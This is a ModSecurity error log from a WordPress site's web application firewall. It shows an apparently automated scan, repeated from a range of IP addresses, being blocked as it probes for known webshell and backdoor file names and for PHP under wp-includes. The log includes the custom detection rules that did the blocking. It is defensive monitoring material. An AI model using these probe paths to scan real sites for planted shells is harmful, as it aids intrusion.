[Sat Nov 15 06:16:46.986950 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.227:47993] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aReqTugM1rHoEAqoQDc3vwAAAQw"]
[Sat Nov 15 06:16:47.180215 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.207:32771] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aReqT-gM1rHoEAqoQDc3wAAAAQs"]
[Sat Nov 15 06:16:47.384723 2025] [:error] [pid 27911:tid 27977] [client 85.203.21.226:63649] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aReqT8GzUdrhGBIfiKTL2wAAAIk"]
[Sat Nov 15 06:16:47.575227 2025] [:error] [pid 27997:tid 28005] [client 85.203.21.41:49875] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aReqT9pja_6cDxKbxFkm3gAAAMY"]
[Sat Nov 15 06:16:47.781232 2025] [:error] [pid 27997:tid 28009] [client 85.203.21.54:63419] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aReqT9pja_6cDxKbxFkm4QAAAMo"]
[Sat Nov 15 06:16:47.983665 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.188:37277] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aReqTyTfZ6B57n8HepWXqAAAAA8"]
[Sat Nov 15 06:16:48.204203 2025] [:error] [pid 37318:tid 37378] [client 85.203.21.213:28237] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aReqUOgM1rHoEAqoQDc3xAAAARA"]
[Sat Nov 15 06:16:48.399956 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.188:55441] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aReqUNpja_6cDxKbxFkm5gAAAMc"]
[Sat Nov 15 06:16:48.604734 2025] [:error] [pid 27909:tid 27925] [client 85.203.21.221:25509] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/leafmailer.php"] [unique_id "aReqUCTfZ6B57n8HepWXqgAAAAw"]
[Sat Nov 15 06:16:48.814689 2025] [:error] [pid 27910:tid 27956] [client 193.37.32.2:48687] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aReqUI6e1LusHMYkS7ZerwAAAE8"]
[Sat Nov 15 06:16:49.400017 2025] [:error] [pid 27997:tid 28016] [client 85.203.21.197:53387] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/search/"] [unique_id "aReqUdpja_6cDxKbxFkm6gAAANE"]
[Sat Nov 15 06:16:50.187487 2025] [:error] [pid 27909:tid 27931] [client 85.203.21.237:25571] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aReqUiTfZ6B57n8HepWXsAAAABI"]
[Sat Nov 15 06:16:55.471708 2025] [:error] [pid 27911:tid 27978] [client 85.203.21.162:57617] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/update/function.php"] [unique_id "aReqV8GzUdrhGBIfiKTL6QAAAIo"]
[Sat Nov 15 06:16:55.702734 2025] [:error] [pid 27911:tid 27982] [client 85.203.21.192:42477] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/assets/"] [unique_id "aReqV8GzUdrhGBIfiKTL6gAAAI4"]
[Sat Nov 15 06:16:55.892591 2025] [:error] [pid 27911:tid 27974] [client 85.203.21.208:51387] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aReqV8GzUdrhGBIfiKTL6wAAAIY"]
[Sat Nov 15 06:16:56.096434 2025] [:error] [pid 37318:tid 37382] [client 85.203.21.172:55087] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aReqWOgM1rHoEAqoQDc31wAAARQ"]
[Sat Nov 15 06:16:56.280651 2025] [:error] [pid 27910:tid 27959] [client 85.203.21.168:45393] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/upload/"] [unique_id "aReqWI6e1LusHMYkS7ZetgAAAFI"]
[Sat Nov 15 06:16:56.508908 2025] [:error] [pid 37318:tid 37368] [client 85.203.21.210:44515] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/function/function.php"] [unique_id "aReqWOgM1rHoEAqoQDc32QAAAQY"]
[Sat Nov 15 06:16:56.706214 2025] [:error] [pid 27911:tid 27983] [client 85.203.21.227:37801] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aReqWMGzUdrhGBIfiKTL8AAAAI8"]
[Sat Nov 15 06:16:56.884520 2025] [:error] [pid 27911:tid 27985] [client 85.203.21.45:46065] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aReqWMGzUdrhGBIfiKTL8QAAAJE"]
[Sat Nov 15 06:16:57.077207 2025] [:error] [pid 27997:tid 28003] [client 193.37.32.3:47229] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aReqWdpja_6cDxKbxFkm9AAAAMQ"]
[Sat Nov 15 06:16:57.302137 2025] [:error] [pid 27911:tid 27979] [client 85.203.21.235:42249] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aReqWcGzUdrhGBIfiKTL8wAAAIs"]
[Sat Nov 15 06:16:57.892506 2025] [:error] [pid 27909:tid 27923] [client 85.203.21.192:52521] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aReqWSTfZ6B57n8HepWXtQAAAAo"]
[Sat Nov 15 06:16:58.197498 2025] [:error] [pid 27997:tid 28022] [client 85.203.21.192:22981] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aReqWtpja_6cDxKbxFkm9gAAANc"]
[Sat Nov 15 06:16:58.391323 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.222:47843] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aReqWugM1rHoEAqoQDc33gAAARE"]
[Sat Nov 15 06:16:58.618062 2025] [:error] [pid 27909:tid 27930] [client 85.203.21.178:55337] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aReqWiTfZ6B57n8HepWXugAAABE"]
[Sat Nov 15 06:16:58.819671 2025] [:error] [pid 27997:tid 28007] [client 85.203.21.161:53231] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aReqWtpja_6cDxKbxFkm-QAAAMg"]
[Sat Nov 15 06:16:59.017155 2025] [:error] [pid 27911:tid 27975] [client 85.203.21.239:55791] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aReqW8GzUdrhGBIfiKTL9AAAAIc"]
[Sat Nov 15 06:16:59.277299 2025] [:error] [pid 27911:tid 27991] [client 85.203.21.223:59431] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/"] [unique_id "aReqW8GzUdrhGBIfiKTL9QAAAJc"]
[Sat Nov 15 06:16:59.684199 2025] [:error] [pid 27997:tid 28015] [client 85.203.21.178:32361] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aReqW9pja_6cDxKbxFkm-wAAANA"]
[Sat Nov 15 06:16:59.989445 2025] [:error] [pid 27997:tid 28012] [client 85.203.21.197:52773] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/function.php"] [unique_id "aReqW9pja_6cDxKbxFknAAAAAM0"]
[Sat Nov 15 06:17:00.284528 2025] [:error] [pid 27997:tid 28005] [client 85.203.21.57:63245] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aReqXNpja_6cDxKbxFknAQAAAMY"]
[Sat Nov 15 06:17:00.595854 2025] [:error] [pid 37318:tid 37380] [client 85.203.21.159:44733] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen/function.php"] [unique_id "aReqXOgM1rHoEAqoQDc34AAAARI"]
[Sat Nov 15 06:17:00.993003 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.168:31733] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aReqXNpja_6cDxKbxFknBgAAAMc"]
[Sat Nov 15 06:17:01.276350 2025] [:error] [pid 37318:tid 37390] [client 85.203.21.161:27987] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aReqXegM1rHoEAqoQDc34QAAARg"]
[Sat Nov 15 06:17:01.605916 2025] [:error] [pid 37318:tid 37369] [client 193.37.32.3:52945] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aReqXegM1rHoEAqoQDc34gAAAQc"]
[Sat Nov 15 06:17:01.926956 2025] [:error] [pid 27909:tid 27921] [client 85.203.21.57:28899] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/item.php"] [unique_id "aReqXSTfZ6B57n8HepWXwQAAAAg"]
[Sat Nov 15 06:17:02.262571 2025] [:error] [pid 27910:tid 27961] [client 85.203.21.159:41269] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/index.php"] [unique_id "aReqXo6e1LusHMYkS7ZevgAAAFQ"]
[Sat Nov 15 06:17:02.515730 2025] [:error] [pid 27910:tid 27959] [client 85.203.21.213:46837] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/include.php"] [unique_id "aReqXo6e1LusHMYkS7ZevwAAAFI"]
[Sat Nov 15 06:17:02.708563 2025] [:error] [pid 27910:tid 27947] [client 85.203.21.193:40859] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cgi-bin/user/index.php"] [unique_id "aReqXo6e1LusHMYkS7ZewAAAAEY"]
[Sat Nov 15 06:17:02.887154 2025] [:error] [pid 27910:tid 27954] [client 85.203.21.162:31269] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/index.php"] [unique_id "aReqXo6e1LusHMYkS7ZewwAAAE0"]
[Sat Nov 15 06:17:03.077568 2025] [:error] [pid 27911:tid 27992] [client 85.203.21.237:24705] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/wp-login.php"] [unique_id "aReqX8GzUdrhGBIfiKTL-wAAAJg"]
[Sat Nov 15 06:17:04.708064 2025] [:error] [pid 27911:tid 27981] [client 85.203.21.54:64195] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aReqYMGzUdrhGBIfiKTL_gAAAI0"]
[Sat Nov 15 06:17:04.891085 2025] [:error] [pid 27911:tid 27973] [client 85.203.21.238:58761] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xmrlpc.php"] [unique_id "aReqYMGzUdrhGBIfiKTL_wAAAIU"]
[Sat Nov 15 06:17:05.097976 2025] [:error] [pid 27911:tid 27987] [client 85.203.21.222:57577] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/wp-good.php"] [unique_id "aReqYcGzUdrhGBIfiKTMAAAAAJM"]
[Sat Nov 15 06:17:05.316499 2025] [:error] [pid 27997:tid 28002] [client 85.203.21.155:27075] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aReqYdpja_6cDxKbxFknCgAAAMM"]
[Sat Nov 15 06:17:05.508883 2025] [:error] [pid 37318:tid 37375] [client 85.203.21.193:20077] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aReqYegM1rHoEAqoQDc35QAAAQ0"]
[Sat Nov 15 06:17:05.718528 2025] [:error] [pid 27910:tid 27946] [client 85.203.21.221:45321] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-Owl.php"] [unique_id "aReqYY6e1LusHMYkS7ZeyQAAAEU"]
[Sat Nov 15 06:17:05.906734 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.227:48081] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/about.php"] [unique_id "aReqYegM1rHoEAqoQDc36AAAAQg"]
[Sat Nov 15 06:17:06.089136 2025] [:error] [pid 37318:tid 37390] [client 193.37.32.2:37745] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aReqYugM1rHoEAqoQDc36gAAARg"]
[Sat Nov 15 06:17:06.298190 2025] [:error] [pid 27909:tid 27929] [client 85.203.21.172:40935] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aReqYiTfZ6B57n8HepWXxQAAABA"]
[Sat Nov 15 06:17:11.523421 2025] [:error] [pid 27910:tid 27965] [client 85.203.21.170:61207] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aReqZ46e1LusHMYkS7Ze0AAAAFg"]
[Sat Nov 15 06:17:11.787734 2025] [:error] [pid 27911:tid 27982] [client 85.203.21.162:33747] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aReqZ8GzUdrhGBIfiKTMEgAAAI4"]
[Sat Nov 15 06:17:11.979382 2025] [:error] [pid 27910:tid 27956] [client 85.203.21.170:34745] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aReqZ46e1LusHMYkS7Ze1AAAAE8"]
